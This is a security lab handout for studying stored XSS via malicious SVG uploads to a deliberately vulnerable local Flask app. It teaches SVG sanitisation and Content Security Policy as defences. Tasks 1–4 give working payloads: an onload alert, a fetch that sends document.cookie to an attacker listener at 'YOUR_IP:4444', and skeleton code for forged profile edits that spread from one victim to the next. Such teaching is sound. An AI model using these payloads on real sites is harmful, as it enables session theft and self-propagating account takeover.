

Stored Cross Site Scripting (XSS) via Malicious SVG Upload Lab

1 Overview

As you may have studied, XSS is a type of vulnerability, where the area of impact is the web. It allows for attackers to inject and execute malicious JavaScript programs into the victim's browser. What makes this attack specially dangerous, is the ability to bypass the access control policies like the "same origin policy".

This lab provides a hands-on exploration of Stored Cross-Site Scripting (XSS) vulnerabilities through a realistic file upload scenario involving SVG files. It is structured in three main phases: **understanding the problem**, **exploiting the vulnerability**, and **analyzing possible mitigation strategies**.

In the first phase, participants study how XSS attacks work, with a particular focus on the stored variant, where malicious input is permanently stored on the server and executed whenever it is accessed. Special attention is given to SVG files as a non-traditional attack vector. Unlike common image formats such as JPEG or PNG, SVG files are XML-based and can contain executable JavaScript code. As a result, when these files are rendered by the browser, any embedded scripts may execute within the context (origin) of the web application. Participants are encouraged to analyze the structure of malicious SVG payloads and understand how improper handling of uploaded files violates security boundaries.

In the second phase, participants interact with a deliberately vulnerable web application developed using Flask, which allows users to upload and view SVG files without proper validation or sanitization. The attack is carried out progressively. First, a malicious SVG is uploaded to trigger a simple JavaScript alert, confirming that script execution is possible. Next, the payload is extended to exfiltrate session cookies to an attacker-controlled server, demonstrating a realistic session hijacking scenario. Finally, a payload is crafted to perform actions on behalf of the victim, simulating a full account compromise without requiring authentication credentials.

In the final phase, mitigation strategies are explored to prevent this type of vulnerability. These include restricting or sanitizing SVG uploads, securely serving user-uploaded files, and implementing browser-side protections such as Content Security Policy (CSP). The effectiveness and limitations of these defenses are analyzed in the context of real-world applications.

Lab environment. The lab is conducted using a containerized web application deployed via Docker Compose. Participants may use browser developer tools and a simple HTTP listener (e.g., netcat) to observe and exploit the vulnerability. The lab has been tested on a Ubuntu 20.04 VM, and on a physical machine with Windows 11. Since we use containers to set up the lab environment, this lab does not depend much on the machine or VM used. You can do this lab using other VMs, physical machines, or VMs on the cloud.

2 Lab Environment Setup

In this lab, we use a containerized environment to ensure consistency and reproducibility across different systems. The lab is deployed using Docker Compose, which automatically sets up all the required components.

2.1 Container Setup and Commands

To start the lab environment, the student should first navigate to the project directory containing the `docker-compose.yml` file. The following command builds and starts the containers:

```
docker compose up --build
```

If you are using an older Docker version, the equivalent command is:

```
docker-compose up --build
```

All containers will run in the background, and the web application will be accessible through the browser at:

```
http://localhost:5001
```

To stop the environment, the following command can be used:

```
docker compose down
```

This command stops and removes the containers. If needed, it can be followed by a rebuild to reset the environment.

2.2 Web Application

The lab environment includes a deliberately vulnerable web application developed using Flask. This application allows users to upload and view SVG files without proper validation or sanitization, making it vulnerable to Stored XSS attacks.

Uploaded files are stored in the `uploads/` directory and are served directly by the application. Because the files are rendered in the browser without security restrictions, malicious SVG files can execute JavaScript code when viewed by other users.

User accounts. We have created several user accounts to simulate interactions between different users in the system. These accounts can be used to perform attacks and observe their effects across different user sessions. The available user accounts are listed below:

Username	Password
admin	admin123
alice	alice123
bob	bob123
attacker	attacker123

3 Lab Tasks

3.1 Task 1: Executing a Basic XSS Attack

The objective of this task is to execute a basic Cross-Site Scripting (XSS) attack by uploading a malicious SVG file to the application's gallery. When another user views the image, the embedded payload should be executed, resulting in the display of a JavaScript alert.

The student should create an SVG file containing a payload such as:

```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('Task 1 complete with success!!')" />
```

After uploading the file through the web interface and accessing it through the application, the browser should execute the embedded code, confirming the presence of a vulnerability. The student must provide evidence of the attack, including a screenshot showing the alert being triggered. The student must provide evidence of the attack, including a screenshot showing the alert being triggered.

Tip

If you have a `.svg` image, you can edit the file contents by opening it as a text file. To insert executable JavaScript code in the SVG, you can either use the `onload` attribute of the `<svg>` element (easier for a single line program) or put the code inside a `<script>` element, inside the file (recommended for multi-line programs).

Questions. Please answer the following questions:

- **Question 1:** Why is JavaScript execution possible within an SVG file?
- **Question 2:** What type of XSS vulnerability is being exploited, and why does rendering the SVG inside an HTML page (instead of opening it as a standalone file) affect whether the attack succeeds?
- **Question 3:** Do we need `xmlns="http://www.w3.org/2000/svg"` in the `<svg>` element for the attack to succeed? What does it do?

3.2 Task 2: Stealing Session Cookies

The objective of this task is to demonstrate how a Stored XSS vulnerability can be used to perform session hijacking by stealing a victim's session cookie. Instead of executing a simple alert, the malicious SVG file is modified to exfiltrate sensitive information to an attacker-controlled server.

To perform this attack, the student must first set up a listener to capture incoming requests. This can be achieved using a tool such as netcat (install it if needed), running on a chosen port:

```
nc -lvp 4444
```

The student should then determine their local IP address using:

```
ip a
```

which will be used as the destination for the exfiltrated data.

Next, the student creates a malicious SVG file containing a payload that sends the victim's cookies to the attacker. This can be done by embedding a JavaScript request in the SVG, for example using the `fetch` function to send a request to the attacker's machine, including `document.cookie` as part of the URL parameters:

```
<svg xmlns="http://www.w3.org/2000/svg"  
onload="fetch('http://YOUR_IP:4444?cookie=' + document.cookie)" />
```

After uploading the crafted SVG file to the application and accessing it through the web interface, the embedded script is executed in the context of the victim's browser. As a result, the victim's session cookie is transmitted to the attacker-controlled listener. The student should observe the incoming HTTP request in the terminal and verify that it contains the session information.

This task demonstrates that an attacker can obtain sensitive authentication data without needing direct access to the victim's credentials. By capturing the session cookie, the attacker can potentially impersonate the victim and gain unauthorized access to their account.

The student must provide evidence of the attack, including a screenshot of the attacker-controlled listener capturing the HTTP request containing the victim's session cookie, as well as the SVG payload used to perform the attack.

Questions. Please answer the following questions:

- **Question 4:** What information is contained in the captured session cookie, and how can it be used to impersonate a user?
- **Question 5:** Why does the Same-Origin Policy not prevent this attack, even though the data is being sent to an external server?

3.3 Task 3: Perform authenticated requests on behalf of other users

In this task, we will perform operations that modify the application's state (specifically the victims' profiles) without even needing any security credentials to authenticate those actions. We need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. The objective of the attack is to change a victim's "Biography" field in their profile page.

To do that, we need to find out how a legitimate user edits its "Biography" field. More specifically, we need to figure out what is sent to the server when a user does this action. Firefox's (or other browser's) HTTP inspection tool can help us get the information. It can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the request. **Section 5** provides guidelines on how to use these tools for the different browsers. Once we understand how the HTTP request looks like, we can write a JavaScript program to send out the same HTTP request. Below, we provide a

skeleton JavaScript code that aids in completing the task. Please complete it, try to understand what it does, and fill in what is missing:

```
fetch(, { // TODO Complete (1)
  method: "POST",
  headers: {
    "Content-Type": "application/json"
  },
  credentials: "same-origin",
  body: JSON.stringify({
    // TODO Complete (2)
  })
});
```

Questions. Please answer the following questions:

- **Question 6:** Why do we not need the victim's credentials to do actions on their behalf?
- **Question 7:** Explain what the lines (1) and (2) marked in the given code are, and describe what is missing.

In your report, please provide screenshots of the events observed, and the code developed.

3.4 Task 4: Changing the victim's profile picture and deploying a chain attack

In this task, we will explore more efficient and dangerous ways in which a hacker could attack their victims. For instance, we will consider how an attacker could perform an attack on multiple users with a single script and how the attack could spread faster.

The way the attacks work is very similar to the one done in Task 3. We will perform actions that modify the application's state without needing any security credentials to authenticate those actions.

3.4.1 Task 4.1: Changing the victim's profile picture

The first attack is to change any user's profile picture to any one that we want. First, we need to see how a "Change Profile Picture" request is structured. We need to use the HTTP inspector provided by the browser. Once again, follow the guidelines in **Section 5** if needed. After you figured out how such a request is done, we need to create a script that prepares the request content, and fetches the request. One particular aspect of this attack, is that when in comparison with the previous attack, done in Task 3, we no longer have a plain text payload. This time, we are submitting a entire **SVG** file inside the request, wich inside another SVG file!

We provide you a skeleton of the malicious script to be inserted in the SVG:

```
const svgContent = ``; // TODO COMPLETE (1)

const blob = new Blob([svgContent], { // (2)
  type: "image/svg+xml"
});

const file = new File([blob], "<filename>.svg", { // Give it a name (3)
```

```
    type: "image/svg+xml"
  });

  const formData = new FormData();
  formData.append(/* COMPLETE */, file);

  fetch(/* COMPLETE */, {
    method: "POST",
    body: formData,
    credentials: "same-origin"
  });
```

Now that you have the malicious code, we need a place to submit it in the system. Try putting it in the profile picture of the attacker, by submitting a SVG file with the injected script. Once the bomb has been planted, test it with a victim account.

Questions. Please answer the following questions:

- **Question 8:** Try to understand what the lines (1), (2) and (3) do, and explain how it works, and why each of those lines is important.
- **Question 9:** How does the attack really work? How is the user attacked?
- **Question 10:** Does the crafted victim's profile picture render in their profile? Try to explain what you see.

In your report, please provide screenshots of the events observed, and the code developed.

3.4.2 Task 4.2: Injecting a malicious script in the victim's profile picture

The second attack is an upgrade of the previous one. We do it by combining the attack done in Task 3 to the one done in Task 4.1. The idea is to make the victim's profile picture be the new attacker's weapon, in a chain-like attack.

An example of a successfull chain of events is:

1. Alice renders Attacker's profile picture;
2. Alice gets attacked by Attacker, and Alice's profile picture is changed;
3. Bob renders Alice's profile picture;
4. Bob gets "attacked" by Alice, and his biography is changed, without any interaction between Attacker and Bob.

Use the code snippets given in Task 3 and 4.1 to build the malicious script for this task.

Questions. Please answer the following questions:

- **Question 11:** Did the Alice's attack on Bob work even if Alice's image did not render?
- **Question 12:** Does Alice's "attack" work for multiple users? What do you observe after rendering Alice profile picture with Admin after doing the same with Bob? Try to explain.
- **Question 13:** Is it possible to do better? What if the script inside the Alice's profile picture was a script that does the same attack that Alice suffered, by injecting in Bob's profile picture a SVG with the propagating script? Do you think that is possible?

In your report, please provide screenshots of the events observed, and the code developed.

4 Mitigations

The previous tasks demonstrated how a Stored XSS vulnerability can be exploited through malicious SVG uploads to steal session cookies and perform unauthorized actions on behalf of victims. In this task, we explore two mitigation strategies that, when combined, effectively prevent this class of attack. All changes in this task should be applied to the **Safe Gallery** (`/safe_gallery`), which uses a separate upload folder (`safe_uploads/`) and a separate route from the vulnerable gallery. The goal is to progressively harden this version of the application while keeping the original gallery intact for comparison.

Note: In this section tasks you will need to edit the files inside the `website` folder. Please don't change the working directory tree structure. You don't need to re-build the docker container after saving the changes, since the app will do a "hot reload".

4.1 Server-side SVG Sanitization

The most direct mitigation is to treat uploaded SVG files as untrusted input and sanitize them on the server before storing or serving them. Since SVG is an XML-based format, it can carry active content such as `<script>` elements, event handler attributes (e.g. `onload`, `onerror`), and external resource references. Sanitization consists of parsing the SVG and stripping any elements or attributes that could lead to script execution, while preserving the visual content of the file.

This defense addresses the vulnerability at its root: even if an attacker uploads a malicious file, the payload is neutralized before it ever reaches another user's browser. However, sanitization is only as strong as the parser and ruleset used - incomplete implementations may miss obfuscated or unusual payloads. For this reason, it should not be relied upon as the sole line of defense.

Task. The `/upload` route in `app.py` currently saves uploaded files without any validation or content inspection, as indicated by the comment `# VULNERABLE: no type validation or content sanitization`. Your task is to implement a safe upload route for the Safe Gallery that sanitizes the SVG content before saving it to the `safe_uploads/` folder.

To do this, you will need to add the `lxml` library to `requirements.txt` and use it to parse the uploaded SVG and remove any dangerous elements and attributes. The following elements and attributes should be stripped from the SVG before saving:

- Elements: `<script>`
- Attributes: any event handler attribute (those starting with `on`, such as `onload`, `onerror`, `onclick`)

A new route `/safe_upload` should be created in `app.py` that applies this sanitization logic before saving the file to `safe_uploads/`. The existing `/upload` route should remain unchanged.

Tip: To install the new dependency inside the container after modifying `requirements.txt`, you will need to rebuild the container:

```
docker compose down
docker compose up --build
```

4.2 Content Security Policy (CSP)

Content Security Policy is a browser-side defense mechanism that allows the server to declare, via HTTP response headers, which sources of content and which types of script execution are permitted on a given page. When properly configured, CSP can block the execution of inline JavaScript entirely - which is precisely the mechanism exploited in the previous tasks.

CSP acts as a last line of defense: even if a malicious payload survives sanitization and is rendered in the browser, the browser itself will refuse to execute it if it violates the declared policy. However, CSP must be carefully configured - an overly permissive policy may leave gaps that an attacker can exploit, and certain legacy application features may conflict with strict CSP rules. Understanding these trade-offs is essential when deploying CSP in real-world applications.

Task. Your task is to add a Content Security Policy header to the `/safe_gallery` route in `app.py`. The route currently returns the rendered template directly; it should be modified to return a `make_response` object with the following CSP header: `Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'`

5 Guidelines

These Guidelines will help you use the HTTP inspector in some browsers like Google Chrome and Firefox.

5.1 Using the programmer tools to inspect HTTP headers in Google Chrome

1. In Google Chrome, go on settings, and open the "More Tools" tab;
2. Open the Programmer Tools;
3. Open the "Network" tab;
4. Start doing some requests in the website, and you will see them appear in the inspector;
5. Click on the requests you want to see to see the details.

Note: The first two steps can be skipped by just doing `Ctrl + Shift + I`

5.2 Using the "HTTP Header Live" add-on to inspect HTTP Headers in Firefox

1. In Firefox, open the menu and go to the add-ons manager;
2. Search for the HTTP Header Live add-on and install it;
3. Restart Firefox if needed;
4. Open the website you want to inspect;
5. Click the HTTP Header Live icon in the toolbar to start capturing requests;
6. Reload the page or perform the action you want to inspect;
7. View the list of requests and click one to see its headers and details.

Note: Depending on your Firefox version, you may need to allow the extension to run in private windows or pin it to the toolbar first.